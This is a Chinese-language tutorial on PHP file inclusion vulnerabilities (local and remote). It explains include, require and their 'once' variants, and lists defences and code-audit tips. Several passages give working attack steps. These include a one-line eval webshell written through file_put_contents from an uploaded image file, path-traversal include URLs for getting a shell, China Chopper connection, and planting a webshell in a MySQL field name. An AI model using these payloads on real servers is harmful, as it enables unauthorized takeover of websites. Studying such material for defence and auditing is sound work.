一、什么是文件包含漏洞
0,场景
后端的每个页面都要进行身份验证。假若普通人可以访问管理员才能看到的页面
不就造成了越权吗。但是如果每个页面都写一遍验证身份的代码。整个系统会变得
很冗余且难维护。
为此,开发们写了一些文件包含函数。这样验证代码仅仅写在一个文件中,
什么地方用到就调用这个文件,即文件包含
初衷:~减少代码冗余 ~方便修改
1,定义
攻击者利用包含的特性,加上应用本身对包含文件的控制不严格,
导致系统执行了攻击者的恶意文件。
本质上,文件包含并不属于漏洞,只是因为对包含执行的文件不可控,
才导致了文件包含漏洞的产生。
注意:包含进来的文件“不管后缀”是什么都会被当作php代码解析执行
//突破了后缀的限制,一般配合图片马进行攻击
2攻击思路:
方法一:
~制作图片马,内容作用就是创建一句马。代码如下:
<?php file_put_contents('8.php','<?php eval($_REQUEST[a])?>');?>
~上传图片马
~文件包含图片马
~执行图片马,生成一句马
~找到咱们一句马的位置 //可以是绝对路径,可以是相对路径
~菜刀连接
类似的方法二:
~上传正常图片马
~传参为:url?a=file_put_contents('8.php','<?php eval($_REQUEST[a])?>');
~菜刀连接
3,分类
~本地文件包含(叫做LFI)
包含执行网站本身的文件
~远程文件包含(叫做RFI)
通过http协议包含执行别的地方的文件
远程文件包含,PHP默认不开启,需要开启修改php.ini的这个配置(allow_url_include = On)
补充:其实win系统,可以通过本地文件包含实现远程文件包含
利用SMB服务,有兴趣的话可以去了解一下。
二、函数解析
1,include
使用include引用外部文件时,只有代码执行到include代码段时,
才会调用外部文件。当引用代码发生错误时,
系统只会给出警告错误,而整个php文件会继续执行
总结:代码正常运行,运行到include处,加载外部代码,
即使加载的代码有错,但仅仅发出警告,整个文件继续执行
例如: echo '111';
include('1.txt'); //假设1.txt不存在
echo '222';
输出结果:
111
错误信息 //爆出错,继续运行
222
2,require
php文件被执行之前,php解析器会先引用外部文件进行全部内容替换。
然后剩余的其他语句组成个新的php文件,最后执行这个新的php文件。
当引用代码发生错误时,整个文件都会报错,且停止运行(直接死掉)
总结:先加载外部代码与源代码组成新文件,运行新文件,若加载的外部代码有错,
整个文件直接整体报错,且停止运行
例如: echo '111';
require('1.txt'); //假设1.txt不存在
echo '222';
输出结果:
111
错误信息 //到这停止运行
//没有222
注意:这个外部的代码出错也分等级,一般的小报错,这个require的文件
也依然会运行。只有出现致命错误的时候,文件才直接死掉
3,include_once
在引用(导入文件前)先检测该文件是否存在别处已经引用过include_once
果然已经引用过,则不会执行,若没有引用过,则执行
举例一:
<?php
include_once('1.php');
include_once('2.php');
?>
结果一:1.php被引用 2.php未被引用
举例二 :
<?php
include('1.php');
include_once('2.php');
?>
结果二:1.php被引用 2.php未被引用
举例三 :
<?php
include_once('1.php');
include('2.php');
?>
结果三:1.php被引用 2.php被引用
4,require_once
结合上边,道理一致
注意:这个“once”的含义。本质就是带once的多了一个判断
5,对上边补充
以上函数的包含路径,既可以是绝对路径,也可以是相对路径
什么是相当路径,什么是绝对路径 之前讲过。忘记的同学去 百度百度
6,文件包含GetShell
例如 :
目标站点3.php的内容如下:
<?php
if(某个条件):
include($_REQUEST['aa']);
?>
访问网站:url 3.php? 满足某个条件 && aa=../../../../a/b/c/图片马
凡是这个文件(这个路径下的“../../../../a/b/c/图片马”)不管是什么,
都会以php解析运行。那这个可就厉害了
综上,其核心就是让代码可以满足某个条件,使之执行include函数,
我们在通过传参控制,让include包含我们想让其解析执行的文件即可
攻击步骤:
只要能上传文件(例如图片),我们只要在这个文件里插入“一句马”
后缀什么的都不用改。
我们只要能控制传参“include”使内容改为上边内容,
然后我们的路径 填写图片马的路径 菜刀连接:
url 3.php?aa=../../../../a/b/c/图片马&a=phpinfo();
//图片马的连接参数是“a”
直接getshell
1.在服务器上创建(或者上传),一个含有恶意代码的文件(如,x文件) //x文件中的恶意代码的作用是创建一个php一句马
2.使用 "文件包含 " 漏洞包含x文件,恶意代码执行的结果会生成php一句马
3.菜刀连接新生成的一句马
两个核心条件:
1.服务器要有x文件
2.想办法使用文件包含漏洞执行x文件
文件包含漏洞挖掘技巧:
因为对文件包含主要是对包含的函数,处理不当造成的,可以针对性的对这些函数进行点名,看到存在包含变量文件就跟过去看看
1、require()
2、require_once()
3、include()
4、include_once()
防御策略:
1.无需情况下设置allow_url_include和allow_url_fopen为关闭
2.对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录。如open_basedir
3.建议假定所有输入都是可疑的,尝试对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
4.严格检查include类的文件包含函数中的参数是否外界可控。
三、实战注意
1,cd sb/../访问
cd admin ===>访问 admin文件夹
cd ../ ===>访问 上一层文件夹
cd admin/../ ===>访问 admin进来,在出来
===>所以综合直接什么也不做 ==》 电脑看到这直接什么也不做
cd 随便写/../ ==> 什么也不做
这个小知识在php中也可以用,但是php中不要出现“? *”等符号,否则报错
2,php的“?”
php的传参路径中不要出现“?”
“?”代表传参的问题,一旦路径出现,基本就会报错。尽量避免“?”
3,路径意义
../../../../ 的意义就是跳到:根目录
有时候一个 / 的意思也是跳到:根目录
4,file_put_contents函数
作用:建立新闻件
格式:file_put_contents('新建文件名','新建文件内容')
例如:
file_put_contents('sb.php','<?php eval($_REQUEST['a']);?>')
//新建sb.php文件,内容是一句马
5,phpstudy修改配置文件
修改配置文件后,重启生效
6,源码审计注意事项
~seay搜索可控的include,双击查看函数位置
~查看需要满足什么条件才会执行
~在多向上看看代码,会不会有一些参数会导致整个代码终止的条件(如die或exit的字眼)
~调试代码的时候,多用var_dump()输出,echo输出有很多限制
~php中出现“ :: ”的时候,就是调用跟在后边 类中的方法(简单理解,一个自定义函数)
7,mysql数据库存储结构
一般一个库,在本地就是一个文件夹
一个表就是一个文件 而字段的名字,则会被存储在这个文件中
so,有时候。我们直接将字段名改为:<?php eval($_REQUEST['a']);?>
就相对于在服务器的一个文件中写入恶意代码
找到该文件路径 //白盒审计,不多说
配合文件包含与菜刀,接下来就不用多说了把